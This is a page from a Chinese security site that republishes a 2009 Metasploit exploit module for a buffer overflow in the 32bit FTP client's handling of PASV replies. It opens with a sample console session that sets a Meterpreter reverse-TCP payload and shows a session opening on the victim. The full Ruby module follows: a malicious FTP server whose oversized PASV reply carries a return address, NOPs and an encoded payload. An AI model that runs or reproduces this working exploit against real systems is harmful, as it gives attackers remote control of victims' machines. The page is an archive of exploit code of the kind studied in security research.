首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
32bit FTP (PASV) Reply Client Remote Overflow Exploit (meta)
来源:vfocus.net 作者:vfocus 发布时间:2009-05-08  
#msf > use exploit/windows/ftp/32bitftp_pasv_reply
#msf exploit(32bitftp_pasv) > set PAYLOAD windows/meterpreter/reverse_tcp 
#PAYLOAD => windows/meterpreter/reverse_tcp                               
#msf exploit(32bitftp_pasv) > set LHOST 192.168.1.2 
#LHOST => 192.168.1.2                               
#msf exploit(32bitftp_pasv) > exploit               
#[*] Exploit running as background job.             
#msf exploit(32bitftp_pasv) >                       
#[*] Handler binding to LHOST 0.0.0.0               
#[*] Started reverse handler                        
#[*] Server started.    
# Victim connecting to the malicious ftp server.                            
#[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
#[*] Sending stage (2650 bytes)                                         
#[*] Sleeping before handling stage...                                  
#[*] Uploading DLL (75787 bytes)...                                     
#[*] Upload completed.                                                  
#[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.3:1137)

##
# $Id: 32bitftp_pasv_reply.rb 6528 2009-05-06 16:00:00Z  $
##
##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '32bit FTP (PASV) Reply Client Remote overflow Exploit',
			'Description'    => %q{
				This module exploits a buffer overflow in the 32bit FTP 09.04.24
				client that is triggered through an excessively long PASV reply command
			},
			'Author' 	 => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 6528 $',
			'References'     =>
				[
					[ 'URL', 'http://www.milw0rm.com/exploits/8611' ],
					[ 'BID', '34838' ],
				],
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x0d\x20",
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed, 
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
				# Tested against xp SP3 english
					[ 'Windows XP SP3 English',	{ 'Ret' => 0x7c868667 }	], # jmp esp kernel32.dll
					[ 'Windows XP SP2 French',	{ 'Ret' => 0x7C82385D }	], # call esp kernel32.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mai 06 2009',
			'DefaultTarget'  => 0))

		register_options(
			[ 
				OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
				OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
			], self.class)
	end

	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)	

		buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
		client.put(buffer)
	end
	
	def on_client_data(client)
	
	
		client.get_once

		user = "331 Please specify the password.\r\n"
		client.put(user)
		
		client.get_once
		pass = "230 Login successful.\r\n"
		client.put(pass)
		
		client.get_once
		pwd = "257 \"/\"\r\n"
		client.put(pwd)
		
		client.get_once
		type = "200 Switching to ASCII mode.\r\n"
		client.put(type)
				
		client.get_once
		pasv = "227 Entering Passive Mode ("
		pasv << rand_text_numeric(966)
		pasv << [target.ret].pack('V')
		pasv << make_nops(20)
		pasv << payload.encoded
		pasv << ")\r\n"
		
		client.put(pasv)
		
		handler(client)
		service.close_client(client)
	end
end

# [2009-05-07]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·webSPELL <= 4.2.0e (page) Remo
·Soritong MP3 Player 1.0 Local
·Sorinara Streaming Audio Playe
·VerliAdmin versions 0.3.7 and
·TCPDB 3.8 Arbitrary Add Admin
·Exploits IceWarp WebMail Serve
·T-Dreams Job Career Package 3.
·32bit FTP (09.04.24) (CWD Resp
·RM Downloader 3.0.0.9 (.RAM) L
·Sorinara Streaming Audio Playe
·Mini-stream ASX to MP3 Convert
·Sorinara Streaming Audio Playe
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved